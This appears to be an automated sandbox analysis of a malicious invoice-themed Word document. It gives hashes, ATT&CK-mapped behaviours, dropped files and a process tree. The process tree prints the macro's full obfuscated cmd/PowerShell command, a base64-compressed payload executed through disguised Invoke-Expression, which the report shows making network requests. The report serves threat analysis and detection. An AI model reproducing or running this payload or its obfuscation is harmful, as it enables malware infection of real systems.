0cda278d2bf980b3a4558ed0aac3a6512aa1245e73324c5da76be7227297798f

General

Target

INV-3DP24809.doc
Size

75KB
MD5

9225e38cb2ac8cc72f65d862e5dd7003
SHA1

ec6e48118f62f5e4c9322bab9b6bf5a36a336751
SHA256

dda6fd8390483974892ef7423b44d74f843e32cfa3d15716fc8a5d554075b892
SHA512

c0ab7843d9353718a8a44a71883b988e12f351427f28c5705d24481875dfc2dd90d847f4881e1b1b66359c525501429c22488cc908cd711c284f7ea13077343a
SSDEEP

768:sTBSVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBt+1o9tcD2tAcnBnip:s9Socn1kp59gxBK85fBt+a9rPB

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	528	1248	CMD.exe	81

Blocklisted process makes network request 6 IoCs

flow	pid	Process
27	1080	powershell.exe
29	1080	powershell.exe
31	1080	powershell.exe
33	1080	powershell.exe
37	1080	powershell.exe
39	1080	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1248	WINWORD.EXE
1248	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1080	powershell.exe
1080	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1080	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1248	WINWORD.EXE
1248	WINWORD.EXE
1248	WINWORD.EXE
1248	WINWORD.EXE
1248	WINWORD.EXE
1248	WINWORD.EXE
1248	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1248 wrote to memory of 528	1248	WINWORD.EXE	87
PID 1248 wrote to memory of 528	1248	WINWORD.EXE	87
PID 528 wrote to memory of 1080	528	CMD.exe	89
PID 528 wrote to memory of 1080	528	CMD.exe	89

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\INV-3DP24809.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1248
- C:\Windows\SYSTEM32\CMD.exe
  CMD cmd.EXE /C"SeT OpG= (NEW-objEcT sYsTem.Io.compressiON.DeflaTESTREaM([Io.MemORySTReaM] [CONvErT]::FroMbaSE64STRIng( 'TZBBa8JAEIX/Sg4La0jdHARpXQJiROqhPagghV6SzZisJrtxd2LahPz3bkShl4F535s3zJCdKSMF7VSnZxDofQKyI6RxKUEhJ93mENECsV6EoUWA0qJJZF4gKKlyJnQV2nV8NcuHp21bJ2ZgUQqmAMNV9Tb7D08msWBcVQJcEx6e0DT23BhmmnCW5QUcuycQ0ioQ2lbgMu24kqVujrJ9XUqc0CX1OVntOy/y6Ot8TjnZfX1EBNRtgVDVAf2mwcgDyuAHKD9pA4koJuT9GntSeeONfo/mtyfuF2ytW1XqJNvIEu6eF28M9PlW3fQFplsXeld46nIufBAJiqIfhj8=' ),[io.COMpResSIoN.cOmPRessiONmOde]::deComprEsS ) ^|FOreacH{NEW-objEcT iO.sTreAMREaDer($_ , [TExt.enCoDING]::ASCIi ) }).READtOENd() ^| . ( ([StRiNG]$veRBOsEprEFerenCE)[1,3]+'X'-joiN'')&& pOWeRSHELL . ( ${ENV:`co`mspeC}[4,26,25]-joIn'' ) (( .( \"{0}{1}\" -f'ite','m' ) ( \"{2}{1}{0}\" -f'Opg',':','eNv' ) ).\"Val`UE\" )"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    pOWeRSHELL . ( ${ENV:`co`mspeC}[4,26,25]-joIn'' ) (( .( \"{0}{1}\" -f'ite','m' ) ( \"{2}{1}{0}\" -f'Opg',':','eNv' ) ).\"Val`UE\" )
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCD96FA.tmp\sist02.xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4njfkuxz.ciw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1080-42-0x000001403E000000-0x000001403E022000-memory.dmp

Filesize
136KB

Download
memory/1248-8-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-1-0x00007FFF05D30000-0x00007FFF05D40000-memory.dmp

Filesize
64KB

Download
memory/1248-5-0x00007FFF05D30000-0x00007FFF05D40000-memory.dmp

Filesize
64KB

Download
memory/1248-7-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-6-0x00007FFF05D30000-0x00007FFF05D40000-memory.dmp

Filesize
64KB

Download
memory/1248-0-0x00007FFF05D30000-0x00007FFF05D40000-memory.dmp

Filesize
64KB

Download
memory/1248-11-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-10-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-9-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-14-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-13-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-12-0x00007FFF03CA0000-0x00007FFF03CB0000-memory.dmp

Filesize
64KB

Download
memory/1248-16-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-17-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-4-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-41-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-15-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-40-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-39-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-18-0x00007FFF03CA0000-0x00007FFF03CB0000-memory.dmp

Filesize
64KB

Download
memory/1248-2-0x00007FFF05D30000-0x00007FFF05D40000-memory.dmp

Filesize
64KB

Download
memory/1248-3-0x00007FFF45D4D000-0x00007FFF45D4E000-memory.dmp

Filesize
4KB

Download
memory/1248-539-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-540-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download
memory/1248-561-0x00007FFF05D30000-0x00007FFF05D40000-memory.dmp

Filesize
64KB

Download
memory/1248-560-0x00007FFF05D30000-0x00007FFF05D40000-memory.dmp

Filesize
64KB

Download
memory/1248-562-0x00007FFF05D30000-0x00007FFF05D40000-memory.dmp

Filesize
64KB

Download
memory/1248-563-0x00007FFF05D30000-0x00007FFF05D40000-memory.dmp

Filesize
64KB

Download
memory/1248-564-0x00007FFF45CB0000-0x00007FFF45EA5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads